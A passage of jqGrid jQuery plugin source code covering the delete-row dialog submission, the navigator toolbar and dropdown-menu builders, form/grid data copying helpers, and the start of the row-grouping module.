if(p.cancelicon[0]===true) { $("#eData","#"+dtbl+"_2").addClass(p.cancelicon[1] === "right" ? 'fm-button-icon-right' : 'fm-button-icon-left') .append("<span class='" + commonstyle.icon_base + " " + p.cancelicon[2]+"'></span>"); } $("#dData","#"+dtbl+"_2").click(function(){ var ret=[true,""], pk, postdata = $("#DelData>td","#"+dtbl).text(); //the pair is name=val1,val2,... onCS = {}; onCS = $($t).triggerHandler("jqGridDelRowClickSubmit", [rp_ge[$t.p.id], postdata]); if(onCS === undefined && $.jgrid.isFunction( rp_ge[$t.p.id].onclickSubmit ) ) { onCS = rp_ge[$t.p.id].onclickSubmit.call($t, rp_ge[$t.p.id], postdata) || {}; } ret = $($t).triggerHandler("jqGridDelRowBeforeSubmit", [postdata]); if(ret === undefined) { ret = [true,"",""]; } if( ret[0] && $.jgrid.isFunction(rp_ge[$t.p.id].beforeSubmit)) { ret = rp_ge[$t.p.id].beforeSubmit.call($t, postdata); } if(ret[0] && !rp_ge[$t.p.id].processing) { rp_ge[$t.p.id].processing = true; opers = $t.p.prmNames; postd = $.extend({},rp_ge[$t.p.id].delData, onCS); oper = opers.oper; postd[oper] = opers.deloper; idname = opers.id; postdata = String(postdata).split(","); if(!postdata.length) { return false; } for(pk in postdata) { if(postdata.hasOwnProperty(pk)) { postdata[pk] = $.jgrid.stripPref($t.p.idPrefix, postdata[pk]); } } postd[idname] = postdata.join(); $(this).addClass( commonstyle.active ); var ajaxOptions = $.extend({ url: rp_ge[$t.p.id].url || $($t).jqGrid('getGridParam','editurl'), type: rp_ge[$t.p.id].mtype, data: $.jgrid.isFunction(rp_ge[$t.p.id].serializeDelData) ? rp_ge[$t.p.id].serializeDelData.call($t,postd) : postd, success:function(res, status, data){ var i; $("#dData", "#"+dtbl+"_2").removeClass( commonstyle.active ); if(data.status >= 300 && data.status !== 304) { ret[0] = false; ret[1] = $($t).triggerHandler("jqGridDelRowErrorTextFormat", [data]); if ($.jgrid.isFunction(rp_ge[$t.p.id].errorTextFormat)) { ret[1] = rp_ge[$t.p.id].errorTextFormat.call($t, data); } if(ret[1] === undefined) { ret[1] = status + " Status: '" + data.statusText + "'. Error code: " + data.status; } } else { // data is posted successful // execute aftersubmit with the returned data from server ret = $($t).triggerHandler("jqGridDelRowAfterSubmit", [data, postd]); if(ret === undefined) { ret = [true,"",""]; } if( ret[0] && $.jgrid.isFunction(rp_ge[$t.p.id].afterSubmit) ) { ret = rp_ge[$t.p.id].afterSubmit.call($t, data, postd); } } if(ret[0] === false) { $("#DelError>td","#"+dtbl).html(ret[1]); $("#DelError","#"+dtbl).show(); } else { if(rp_ge[$t.p.id].reloadAfterSubmit && $t.p.datatype !== "local") { $($t).trigger("reloadGrid"); } else { if($t.p.treeGrid===true){ try {$($t).jqGrid("delTreeNode",$t.p.idPrefix+postdata[0], true);} catch(e){} } else { for(i=0;i<postdata.length;i++) { $($t).jqGrid("delRowData",$t.p.idPrefix+ postdata[i]); } } $t.p.selrow = null; $t.p.selarrrow = []; } if($.jgrid.isFunction(rp_ge[$t.p.id].afterComplete) || Object.prototype.hasOwnProperty.call($._data( $($t)[0], 'events' ), 'jqGridDelRowAfterComplete')) { var copydata = data; setTimeout(function(){ $($t).triggerHandler("jqGridDelRowAfterComplete", [copydata, postd]); try { rp_ge[$t.p.id].afterComplete.call($t, copydata, postd); } catch(eacg) { // do nothing } },500); } } rp_ge[$t.p.id].processing=false; if(ret[0]) {$.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal, onClose: rp_ge[$t.p.id].onClose});} } }, $.jgrid.ajaxOptions, rp_ge[$t.p.id].ajaxDelOptions); if (!ajaxOptions.url && !rp_ge[$t.p.id].useDataProxy) { if ($.jgrid.isFunction($t.p.dataProxy)) { rp_ge[$t.p.id].useDataProxy = true; } else { ret[0]=false;ret[1] += " "+$.jgrid.getRegional($t, 'errors.nourl'); } } if (ret[0]) { if (rp_ge[$t.p.id].useDataProxy) { var dpret = $t.p.dataProxy.call($t, ajaxOptions, "del_"+$t.p.id); if(dpret === undefined) { dpret = [true, ""]; } if(dpret[0] === false ) { ret[0] = false; ret[1] = dpret[1] || "Error deleting the selected row!" ; } else { $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:p.jqModal, onClose: rp_ge[$t.p.id].onClose}); } } else { if(ajaxOptions.url === "clientArray") { postd = ajaxOptions.data; ajaxOptions.success({status:200, statusText:''},''); } else if( ajaxOptions.url === "storage") { $($t).jqGrid('deleteStorageRecord', postdata) .then(function(e){ if(e.type==="complete") { ajaxOptions.success(postdata,'',{status:200, statusText:''}); } }) .catch(function(e) { $.jgrid.info_dialog("Error",e.target.error.name + " : "+e.target.error.message,'Close'); }); } else { $.ajax(ajaxOptions); } } } } if(ret[0] === false) { $("#DelError>td","#"+dtbl).html(ret[1]); $("#DelError","#"+dtbl).show(); } return false; }); $("#eData", "#"+dtbl+"_2").click(function(){ $.jgrid.hideModal("#"+$.jgrid.jqID(IDs.themodal),{gb:"#gbox_"+$.jgrid.jqID(gID),jqm:rp_ge[$t.p.id].jqModal, onClose: rp_ge[$t.p.id].onClose}); return false; }); $("#"+dtbl+"_2").find("[data-index]").each(function(){ var index = parseInt($(this).attr('data-index'),10); if(index >=0 ) { if( p.buttons[index].hasOwnProperty('click')) { $(this).on('click', function(e) { p.buttons[index].click.call($t, $("#"+dtbl_id)[0], rp_ge[$t.p.id], e); }); } } }); showFrm = $($t).triggerHandler("jqGridDelRowBeforeInitData", [$("#"+dtbl)]); if(showFrm === undefined) { showFrm = true; } if(showFrm && $.jgrid.isFunction(rp_ge[$t.p.id].beforeInitData)) { showFrm = rp_ge[$t.p.id].beforeInitData.call($t, $("#"+dtbl)); } if(showFrm === false) {return;} $($t).triggerHandler("jqGridDelRowBeforeShowForm", [$("#"+dtbl)]); if($.jgrid.isFunction( rp_ge[$t.p.id].beforeShowForm )) { rp_ge[$t.p.id].beforeShowForm.call($t,$("#"+dtbl)); } $.jgrid.viewModal("#"+$.jgrid.jqID(IDs.themodal),{gbox:"#gbox_"+$.jgrid.jqID(gID),jqm:rp_ge[$t.p.id].jqModal, overlay: rp_ge[$t.p.id].overlay, modal:rp_ge[$t.p.id].modal}); $($t).triggerHandler("jqGridDelRowAfterShowForm", [$("#"+dtbl)]); if($.jgrid.isFunction( rp_ge[$t.p.id].afterShowForm )) { rp_ge[$t.p.id].afterShowForm.call($t,$("#"+dtbl)); } } if(rp_ge[$t.p.id].closeOnEscape===true) { setTimeout(function(){$(".ui-jqdialog-titlebar-close","#"+$.jgrid.jqID(IDs.modalhead)).attr("tabindex","-1").focus();},0); } }); }, navGrid : function (elem, p, pEdit, pAdd, pDel, pSearch, pView) { var regional = $.jgrid.getRegional(this[0], 'nav'), currstyle = this[0].p.styleUI, styles = $.jgrid.styleUI[currstyle].navigator, commonstyle = $.jgrid.styleUI[currstyle].common; p = $.extend({ edit: true, editicon: styles.icon_edit_nav, add: true, addicon: styles.icon_add_nav, del: true, delicon: styles.icon_del_nav, search: true, searchicon: styles.icon_search_nav, refresh: true, refreshicon: styles.icon_refresh_nav, refreshstate: 'firstpage', view: false, viewicon : styles.icon_view_nav, position : "left", closeOnEscape : true, beforeRefresh : null, afterRefresh : null, cloneToTop : false, alertwidth : 200, alertheight : 'auto', alerttop: null, alertleft: null, alertzIndex : null, dropmenu : false, navButtonText : '' }, regional, p ||{}); return this.each(function() { if(this.p.navGrid) {return;} var $t = this, twd, tdw, o; if(!$t.grid || typeof elem !== 'string') {return;} if(!$($t).data('navGrid')) { $($t).data('navGrid',p); } // speedoverhead, but usefull for future o = $($t).data('navGrid'); if($t.p.force_regional) { o = $.extend(o, regional); } if(!o.alerttop && !o.alertleft) { var pos=$.jgrid.findPos(this); pos[0]=Math.round(pos[0]); pos[1]=Math.round(pos[1]); var hg = isNaN(this.p.height) ? $($t.grid.bDiv).height(): this.p.height; if(hg === 0) { hg = 200; } o.alertleft = pos[0] + (this.p.width/2)-parseInt(o.alertwidth,10)/2; o.alerttop = pos[1] + (hg/2)-25; } var alert_info = function(){ $.jgrid.info_dialog(o.alertcap,"<div>"+o.alerttext+"</div><span tabindex='0'><span tabindex='-1' id='jqg_alrt'></span></span>","",{ jqModal:true, drag:true, resize:true, caption:o.alertcap, width:o.alertwidth, height: o.alertheight, top:o.alerttop, left:o.alertleft, closeOnEscape:o.closeOnEscape, styleUI: $t.p.styleUI, zIndex: o.alertzIndex} ); }; var clone = 1, i, onHoverIn = function () { if (!$(this).hasClass(commonstyle.disabled)) { $(this).addClass(commonstyle.hover); } }, onHoverOut = function () { $(this).removeClass(commonstyle.hover); }; if(o.cloneToTop && $t.p.toppager) {clone = 2;} for(i = 0; i<clone; i++) { var tbd, navtbl = $("<table class='ui-pg-table navtable ui-common-table'><tbody><tr></tr></tbody></table>"), sep = "<td class='ui-pg-button " +commonstyle.disabled + "' style='width:4px;'><span class='ui-separator'></span></td>", pgid, elemids; if(i===0) { pgid = elem; if(pgid.indexOf("#") === 0 ) { pgid = pgid.substring(1); pgid = "#"+ $.jgrid.jqID( pgid ); } elemids = $t.p.id; if(pgid === $t.p.toppager) { elemids += "_top"; clone = 1; } } else { pgid = $t.p.toppager; elemids = $t.p.id+"_top"; } if($t.p.direction === "rtl") { $(navtbl).attr("dir","rtl").css("float","right"); } pAdd = pAdd || {}; if (o.add) { tbd = $("<td class='ui-pg-button "+commonstyle.cornerall+"'></td>"); $(tbd).append("<div class='ui-pg-div'><span class='"+commonstyle.icon_base +" " +o.addicon+"'></span>"+o.addtext+"</div>"); $("tr",navtbl).append(tbd); $(tbd,navtbl) .attr({"title":o.addtitle || "",id : pAdd.id || "add_"+elemids}) .click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { $.jgrid.setSelNavIndex( $t, this); if ($.jgrid.isFunction( o.addfunc )) { o.addfunc.call($t); } else { $($t).jqGrid("editGridRow","new",pAdd); } } return false; }).hover(onHoverIn, onHoverOut); tbd = null; } pEdit = pEdit || {}; if (o.edit) { tbd = $("<td class='ui-pg-button "+commonstyle.cornerall+"'></td>"); $(tbd).append("<div class='ui-pg-div'><span class='"+commonstyle.icon_base+" "+o.editicon+"'></span>"+o.edittext+"</div>"); $("tr",navtbl).append(tbd); $(tbd,navtbl) .attr({"title":o.edittitle || "",id: pEdit.id || "edit_"+elemids}) .click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { var sr = $t.p.selrow; if (sr) { $.jgrid.setSelNavIndex( $t, this); if($.jgrid.isFunction( o.editfunc ) ) { o.editfunc.call($t, sr); } else { $($t).jqGrid("editGridRow",sr,pEdit); } } else { alert_info(); $("#jqg_alrt").focus(); } } return false; }).hover(onHoverIn, onHoverOut); tbd = null; } pView = pView || {}; if (o.view) { tbd = $("<td class='ui-pg-button "+commonstyle.cornerall+"'></td>"); $(tbd).append("<div class='ui-pg-div'><span class='"+commonstyle.icon_base+" "+o.viewicon+"'></span>"+o.viewtext+"</div>"); $("tr",navtbl).append(tbd); $(tbd,navtbl) .attr({"title":o.viewtitle || "",id: pView.id || "view_"+elemids}) .click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { var sr = $t.p.selrow; if (sr) { $.jgrid.setSelNavIndex( $t, this); if($.jgrid.isFunction( o.viewfunc ) ) { o.viewfunc.call($t, sr); } else { $($t).jqGrid("viewGridRow",sr,pView); } } else { alert_info(); $("#jqg_alrt").focus(); } } return false; }).hover(onHoverIn, onHoverOut); tbd = null; } pDel = pDel || {}; if (o.del) { tbd = $("<td class='ui-pg-button "+commonstyle.cornerall+"'></td>"); $(tbd).append("<div class='ui-pg-div'><span class='"+commonstyle.icon_base+" "+o.delicon+"'></span>"+o.deltext+"</div>"); $("tr",navtbl).append(tbd); $(tbd,navtbl) .attr({"title":o.deltitle || "",id: pDel.id || "del_"+elemids}) .click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { var dr; if($t.p.multiselect) { dr = $t.p.selarrrow; if(dr.length===0) {dr = null;} } else { dr = $t.p.selrow; } if(dr){ $.jgrid.setSelNavIndex( $t, this); if($.jgrid.isFunction( o.delfunc )){ o.delfunc.call($t, dr); }else{ $($t).jqGrid("delGridRow",dr,pDel); } } else { alert_info(); } } return false; }).hover(onHoverIn, onHoverOut); tbd = null; } if(o.add || o.edit || o.del || o.view) {$("tr",navtbl).append(sep);} pSearch = pSearch || {}; if (o.search) { tbd = $("<td class='ui-pg-button "+commonstyle.cornerall+"'></td>"); $(tbd).append("<div class='ui-pg-div'><span class='"+commonstyle.icon_base+" "+o.searchicon+"'></span>"+o.searchtext+"</div>"); $("tr",navtbl).append(tbd); $(tbd,navtbl) .attr({"title":o.searchtitle || "",id:pSearch.id || "search_"+elemids}) .click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { $.jgrid.setSelNavIndex( $t, this); if($.jgrid.isFunction( o.searchfunc )) { o.searchfunc.call($t, pSearch); } else { $($t).jqGrid("searchGrid",pSearch); } } return false; }).hover(onHoverIn, onHoverOut); if (pSearch.showOnLoad && pSearch.showOnLoad === true) { $(tbd,navtbl).click(); } tbd = null; } if (o.refresh) { tbd = $("<td class='ui-pg-button "+commonstyle.cornerall+"'></td>"); $(tbd).append("<div class='ui-pg-div'><span class='"+commonstyle.icon_base+" "+o.refreshicon+"'></span>"+o.refreshtext+"</div>"); $("tr",navtbl).append(tbd); $(tbd,navtbl) .attr({"title":o.refreshtitle || "",id: "refresh_"+elemids}) .click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { if($.jgrid.isFunction(o.beforeRefresh)) {o.beforeRefresh.call($t);} $t.p.search = false; $t.p.resetsearch = true; try { if( o.refreshstate !== 'currentfilter') { var gID = $t.p.id; $t.p.postData.filters =""; try { $("#fbox_"+$.jgrid.jqID(gID)).jqFilter('resetFilter'); } catch(ef) {} if($.jgrid.isFunction($t.clearToolbar)) {$t.clearToolbar.call($t,false);} } } catch (e) {} switch (o.refreshstate) { case 'firstpage': $($t).trigger("reloadGrid", [{page:1}]); break; case 'current': case 'currentfilter': $($t).trigger("reloadGrid", [{current:true}]); break; } if($.jgrid.isFunction(o.afterRefresh)) {o.afterRefresh.call($t);} $.jgrid.setSelNavIndex( $t, this); } return false; }).hover(onHoverIn, onHoverOut); tbd = null; } tdw = $(".ui-jqgrid").css("font-size") || "11px"; $('body').append("<div id='testpg2' class='ui-jqgrid "+$.jgrid.styleUI[currstyle].base.entrieBox+"' style='font-size:"+tdw+";visibility:hidden;' ></div>"); twd = $(navtbl).clone().appendTo("#testpg2").width(); $("#testpg2").remove(); if($t.p._nvtd) { if(o.dropmenu) { navtbl = null; $($t).jqGrid('_buildNavMenu', pgid, elemids, $.extend(p,{'ainfo':alert_info}), pEdit, pAdd, pDel, pSearch, pView ); } else if(twd > $t.p._nvtd[0] ) { if($t.p.responsive) { navtbl = null; $($t).jqGrid('_buildNavMenu', pgid, elemids, $.extend(p,{'ainfo':alert_info}), pEdit, pAdd, pDel, pSearch, pView ); } else { $(pgid+"_"+o.position,pgid).append(navtbl).width(twd); } $t.p._nvtd[0] = twd; } else { $(pgid+"_"+o.position,pgid).append(navtbl); } $t.p._nvtd[1] = twd; } $t.p.navGrid = true; } if($t.p.storeNavOptions) { $t.p.navOptions = o; $t.p.editOptions = pEdit; $t.p.addOptions = pAdd; $t.p.delOptions = pDel; $t.p.searchOptions = pSearch; $t.p.viewOptions = pView; $t.p.navButtons =[]; } }); }, navButtonAdd : function (elem, p) { var currstyle = this[0].p.styleUI, styles = $.jgrid.styleUI[currstyle].navigator; p = $.extend({ caption : "newButton", title: '', buttonicon : styles.icon_newbutton_nav, onClickButton: null, position : "last", cursor : 'pointer', internal : false }, p ||{}); return this.each(function() { if(!this.grid || typeof elem !== 'string') {return;} if( elem.indexOf("#") === 0 ) { elem = elem.substring(1); } elem = "#" + $.jgrid.jqID(elem); var findnav = $(".navtable",elem)[0], $t = this, //getstyle = $.jgrid.getMethod("getStyleUI"), disabled = $.jgrid.styleUI[currstyle].common.disabled, hover = $.jgrid.styleUI[currstyle].common.hover, cornerall = $.jgrid.styleUI[currstyle].common.cornerall, iconbase = $.jgrid.styleUI[currstyle].common.icon_base; if ($t.p.storeNavOptions && !p.internal) { $t.p.navButtons.push([elem,p]); } if (findnav) { if( p.id && $("#"+$.jgrid.jqID(p.id), findnav)[0] !== undefined ) {return;} var tbd = $("<td></td>"); if(p.buttonicon.toString().toUpperCase() === "NONE") { $(tbd).addClass('ui-pg-button '+cornerall).append("<div class='ui-pg-div'>"+p.caption+"</div>"); } else { $(tbd).addClass('ui-pg-button '+cornerall).append("<div class='ui-pg-div'><span class='"+iconbase+" "+p.buttonicon+"'></span>"+p.caption+"</div>"); } if(p.id) {$(tbd).attr("id",p.id);} if(p.position==='first'){ if(findnav.rows[0].cells.length ===0 ) { $("tr",findnav).append(tbd); } else { $("tr td",findnav).eq( 0 ).before(tbd); } } else { $("tr",findnav).append(tbd); } $(tbd,findnav) .attr("title",p.title || "") .click(function(e){ if (!$(this).hasClass(disabled)) { $.jgrid.setSelNavIndex( $t, this); if ($.jgrid.isFunction(p.onClickButton) ) {p.onClickButton.call($t,e);} } return false; }) .hover( function () { if (!$(this).hasClass(disabled)) { $(this).addClass(hover); } }, function () {$(this).removeClass(hover);} ); } else { findnav = $(".dropdownmenu",elem)[0]; if (findnav) { var id = $(findnav).val(), eid = p.id || $.jgrid.randId(), item = $('<li class="ui-menu-item" role="presentation"><a class="'+ cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+eid+'">'+(p.caption || p.title)+'</a></li>'); if(id) { if(p.position === 'first') { $("#"+id).prepend( item ); } else { $("#"+id).append( item ); } $(item).on("click", function(e){ if (!$(this).hasClass(disabled)) { $("#"+id).hide(); if ($.jgrid.isFunction(p.onClickButton) ) { p.onClickButton.call($t,e); } } return false; }).find("a") .hover( function () { if (!$(this).hasClass(disabled)) { $(this).addClass(hover); } }, function () {$(this).removeClass(hover);} ); } } } }); }, navSeparatorAdd:function (elem,p) { var currstyle = this[0].p.styleUI, commonstyle = $.jgrid.styleUI[currstyle].common; p = $.extend({ sepclass : "ui-separator", sepcontent: '', position : "last" }, p ||{}); return this.each(function() { if( !this.grid) {return;} if( typeof elem === "string" && elem.indexOf("#") !== 0) {elem = "#"+$.jgrid.jqID(elem);} var findnav = $(".navtable",elem)[0], sep, id; if ( this.p.storeNavOptions ) { this.p.navButtons.push([elem,p]); } if(findnav) { sep = "<td class='ui-pg-button "+ commonstyle.disabled +"' style='width:4px;'><span class='"+p.sepclass+"'></span>"+p.sepcontent+"</td>"; if (p.position === 'first') { if (findnav.rows[0].cells.length === 0) { $("tr", findnav).append(sep); } else { $("tr td", findnav).eq( 0 ).before(sep); } } else { $("tr", findnav).append(sep); } } else { findnav = $(".dropdownmenu",elem)[0]; sep = "<li class='ui-menu-item " +commonstyle.disabled + "' style='width:100%' role='presentation'><hr class='ui-separator-li'></li>"; if(findnav) { id = $(findnav).val(); if(id) { if(p.position === "first") { $("#"+id).prepend( sep ); } else { $("#"+id).append( sep ); } } } } }); }, _buildNavMenu : function ( elem, elemids, p, pEdit, pAdd, pDel, pSearch, pView ) { return this.each(function() { var $t = this, //actions = ['add','edit', 'del', 'view', 'search','refresh'], regional = $.jgrid.getRegional($t, 'nav'), currstyle = $t.p.styleUI, //styles = $.jgrid.styleUI[currstyle].navigator, classes = $.jgrid.styleUI[currstyle].filter, commonstyle = $.jgrid.styleUI[currstyle].common, mid = "form_menu_"+$.jgrid.randId(), bt = p.navButtonText ? p.navButtonText : regional.selectcaption || 'Actions', act = "<button class='dropdownmenu "+commonstyle.button+"' value='"+mid+"'>" + bt +"</button>"; $(elem+"_"+p.position, elem).append( act ); var _buildMenu = function() { var fs = $('.ui-jqgrid').css('font-size') || '11px', eid, itm, str = $('<ul id="'+mid+'" class="ui-nav-menu modal-content ui-menu column-menu jqgrid-column-menu ' + commonstyle.shadow + '" role="menu" tabindex="0" style="display:none;font-size:'+fs+'"></ul>'); if( p.add ) { pAdd = pAdd || {}; eid = pAdd.id || "add_"+elemids; itm = $('<li class="ui-menu-item" role="presentation"><a class="'+ commonstyle.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+eid+'">'+(p.addtext.trim() || p.addtitle)+'</a></li>').click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { if ($.jgrid.isFunction( p.addfunc )) { p.addfunc.call($t); } else { $($t).jqGrid("editGridRow","new",pAdd); } $(str).hide(); } return false; }); $(str).append(itm); } if( p.edit ) { pEdit = pEdit || {}; eid = pEdit.id || "edit_"+elemids; itm = $('<li class="ui-menu-item" role="presentation"><a class="'+ commonstyle.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+eid+'">'+(p.edittext.trim() || p.edittitle)+'</a></li>').click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { var sr = $t.p.selrow; if (sr) { if($.jgrid.isFunction( p.editfunc ) ) { p.editfunc.call($t, sr); } else { $($t).jqGrid("editGridRow",sr,pEdit); } } else { p.ainfo(); $("#jqg_alrt").focus(); } $(str).hide(); } return false; }); $(str).append(itm); } if( p.view ) { pView = pView || {}; eid = pView.id || "view_"+elemids; itm = $('<li class="ui-menu-item" role="presentation"><a class="'+ commonstyle.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+eid+'">'+(p.viewtext.trim() || p.viewtitle)+'</a></li>').click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { var sr = $t.p.selrow; if (sr) { if($.jgrid.isFunction( p.editfunc ) ) { p.viewfunc.call($t, sr); } else { $($t).jqGrid("viewGridRow",sr,pView); } } else { p.ainfo(); $("#jqg_alrt").focus(); } $(str).hide(); } return false; }); $(str).append(itm); } if( p.del ) { pDel = pDel || {}; eid = pDel.id || "del_"+elemids; itm = $('<li class="ui-menu-item" role="presentation"><a class="'+ commonstyle.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+eid+'">'+(p.deltext.trim() || p.deltitle)+'</a></li>').click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { var dr; if($t.p.multiselect) { dr = $t.p.selarrrow; if(dr.length===0) {dr = null;} } else { dr = $t.p.selrow; } if(dr){ if($.jgrid.isFunction( p.delfunc )){ p.delfunc.call($t, dr); }else{ $($t).jqGrid("delGridRow",dr,pDel); } } else { p.ainfo(); } $(str).hide(); } return false; }); $(str).append(itm); } if(p.add || p.edit || p.del || p.view) { $(str).append("<li class='ui-menu-item " +commonstyle.disabled + "' style='width:100%' role='presentation'><hr class='ui-separator-li'></li>"); } if( p.search ) { pSearch = pSearch || {}; eid = pSearch.id || "search_"+elemids; itm = $('<li class="ui-menu-item" role="presentation"><a class="'+ commonstyle.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+eid+'">'+(p.searchtext.trim() || p.searchtitle)+'</a></li>').click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { if($.jgrid.isFunction( p.searchfunc )) { p.searchfunc.call($t, pSearch); } else { $($t).jqGrid("searchGrid",pSearch); } $(str).hide(); } return false; }); $(str).append(itm); if (pSearch.showOnLoad && pSearch.showOnLoad === true) { $( itm ).click(); } } if( p.refresh ) { eid = pSearch.id || "search_"+elemids; itm = $('<li class="ui-menu-item" role="presentation"><a class="'+ commonstyle.cornerall+' g-menu-item" tabindex="0" role="menuitem" id="'+eid+'">'+(p.refreshtext || p.refreshtitle)+'</a></li>').click(function(){ if (!$(this).hasClass( commonstyle.disabled )) { if($.jgrid.isFunction(p.beforeRefresh)) {p.beforeRefresh.call($t);} $t.p.search = false; $t.p.resetsearch = true; try { if( p.refreshstate !== 'currentfilter') { var gID = $t.p.id; $t.p.postData.filters =""; try { $("#fbox_"+$.jgrid.jqID(gID)).jqFilter('resetFilter'); } catch(ef) {} if($.jgrid.isFunction($t.clearToolbar)) {$t.clearToolbar.call($t,false);} } } catch (e) {} switch (p.refreshstate) { case 'firstpage': $($t).trigger("reloadGrid", [{page:1}]); break; case 'current': case 'currentfilter': $($t).trigger("reloadGrid", [{current:true}]); break; } if($.jgrid.isFunction(p.afterRefresh)) {p.afterRefresh.call($t);} $(str).hide(); } return false; }); $(str).append(itm); } $(str).hide(); $('body').append(str); $("#"+mid).addClass("ui-menu " + classes.menu_widget); $("#"+mid+" > li > a").hover( function(){ $(this).addClass(commonstyle.hover); }, function(){ $(this).removeClass(commonstyle.hover); } ); }; _buildMenu(); $(".dropdownmenu", elem+"_"+p.position).on("click", function( e ){ var offset = $(this).offset(), left = ( offset.left ), top = parseInt( offset.top), bid =$(this).val(); //if( $("#"+mid)[0] === undefined) { //_buildMenu(); //} $("#"+bid).show().css({"top":top - ($("#"+bid).height() + 35)+"px", "left":left+"px"}); e.stopPropagation(); }); $("body").on('click', function(e){ if(!$(e.target).hasClass("dropdownmenu")) { $("#"+mid).hide(); } }); }); }, GridToForm : function( rowid, formid ) { return this.each(function(){ var $t = this, i; if (!$t.grid) {return;} var rowdata = $($t).jqGrid("getRowData",rowid); if (rowdata) { for(i in rowdata) { if(rowdata.hasOwnProperty(i)) { if ( $("[name="+$.jgrid.jqID(i)+"]",formid).is("input:radio") || $("[name="+$.jgrid.jqID(i)+"]",formid).is("input:checkbox")) { $("[name="+$.jgrid.jqID(i)+"]",formid).each( function() { if( $(this).val() == rowdata[i] ) { $(this)[$t.p.useProp ? 'prop': 'attr']("checked",true); } else { $(this)[$t.p.useProp ? 'prop': 'attr']("checked", false); } }); } else { // this is very slow on big table and form. $("[name="+$.jgrid.jqID(i)+"]",formid).val(rowdata[i]); } } } } }); }, FormToGrid : function(rowid, formid, mode, position){ return this.each(function() { var $t = this; if(!$t.grid) {return;} if(!mode) {mode = 'set';} if(!position) {position = 'first';} var fields = $(formid).serializeArray(); var griddata = {}; $.each(fields, function(i, field){ griddata[field.name] = field.value; }); if(mode==='add') {$($t).jqGrid("addRowData",rowid,griddata, position);} else if(mode==='set') {$($t).jqGrid("setRowData",rowid,griddata);} }); } }); //module begin $.jgrid.extend({ groupingInit : function () { return this.each(function (){ var $t = this; $.extend ($t.p.groupingView, { groupField :[], groupOrder:[], groupText:[], groupColumnShow:[], groupSummary:[], showSummaryOnHide: false, sortitems:[], sortnames:[], summary:[], summaryval:[], plusicon: '', minusicon: '', displayField: [], groupSummaryPos:[], formatDisplayField : [], _locgr : false }, true); }); }, groupingSetup : function () { return this.each(function (){ var $t = this, i, j, cml, cm = $t.p.colModel, grp = $t.p.groupingView, classes = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')].grouping; if(grp !== null && ( (typeof grp === 'object') || $.jgrid.isFunction(grp) ) ) { if(!grp.plusicon) { grp.plusicon = classes.icon_plus;} if(!grp.minusicon) { grp.minusicon = classes.icon_minus;} if(!grp.groupField.length) { $t.p.grouping = false; } else { if (grp.visibiltyOnNextGrouping === undefined) { grp.visibiltyOnNextGrouping = []; } grp.lastvalues=[]; if(!grp._locgr) { grp.groups =[]; } grp.counters =[]; for(i=0;i<grp.groupField.length;i++) { if(!grp.groupOrder[i]) { grp.groupOrder[i] = 'asc'; } if(!grp.groupText[i]) { grp.groupText[i] = '{0}'; } if( typeof grp.groupColumnShow[i] !== 'boolean') { grp.groupColumnShow[i] = true; } if( typeof grp.groupSummary[i] !== 'boolean') { grp.groupSummary[i] = false; } if( !grp.groupSummaryPos[i]) { grp.groupSummaryPos[i] = 'footer'; } if(grp.groupColumnShow[i] === true) { grp.visibiltyOnNextGrouping[i] = true; $($t).jqGrid('showCol',grp.groupField[i]); } else { grp.visibiltyOnNextGrouping[i] = $("#"+$.jgrid.jqID($t.p.id+"_"+grp.groupField[i])).is(":visible"); $($t).jqGrid('hideCol',grp.groupField[i]); } } grp.summary =[]; if(grp.hideFirstGroupCol) { if(Array.isArray(grp.formatDisplayField) && !$.jgrid.isFunction(grp.formatDisplayField[0] ) ) { grp.formatDisplayField[0] = function (v) { return v;}; } } for(j=0, cml = cm.length; j < cml; j++) { if(grp.hideFirstGroupCol) { if(!cm[j].hidden && grp.groupField[0] === cm[j].name) { cm[j].formatter = function(){return '';}; } } if(cm[j].summaryType ) { if(cm[j].summaryDivider) { grp.summary.push({nm:cm[j].name,st:cm[j].summaryType, v: '', sd:cm[j].summaryDivider, vd:'', sr: cm[j].summaryRound, srt: cm[j].summaryRoundType || 'round'}); } else { grp.summary.push({nm:cm[j].name,st:cm[j].summaryType, v: '', sr: cm[j].summaryRound, srt: cm[j].summaryRoundType || 'round'}); } } } } } else { $t.p.grouping = false; } }); }, groupingPrepare : function ( record, irow ) { this.each(function(){ var grp = this.p.groupingView, $t= this, i, sumGroups = function() { if ($.jgrid.isFunction(this.st)) { this.v = this.st.call($t, this.v, this.nm, record); } else { this.v = $($t).jqGrid('groupingCalculations.handler',this.st, this.v, this.nm, this.sr, this.srt, record); if(this.st.toLowerCase() === 'avg' && this.sd) { this.vd = $($t).jqGrid('groupingCalculations.handler',this.st, this.vd, this.sd, this.sr, this.srt, record); } } }, grlen = grp.groupField.length, fieldName, v, displayName, displayValue, changed = 0; for(i=0;i<grlen;i++) { fieldName = grp.groupField[i]; displayName = grp.displayField[i]; v = record[fieldName]; displayValue = displayName == null ? null : record[displayName]; if( displayValue == null ) { displayValue = v; } if( v !== undefined ) { if(irow === 0 ) { // First record always starts a new group grp.groups.push({idx:i,dataIndex:fieldName,value:v, displayValue: displayValue, startRow: irow, cnt:1, summary : [] } ); grp.lastvalues[i] = v; grp.counters[i] = {cnt:1, pos:grp.groups.length-1, summary: $.extend(true,[],grp.summary)}; $.each(grp.counters[i].summary, sumGroups); grp.groups[grp.counters[i].pos].summary = grp.counters[i].summary; } else { if (typeof v !== "object" && 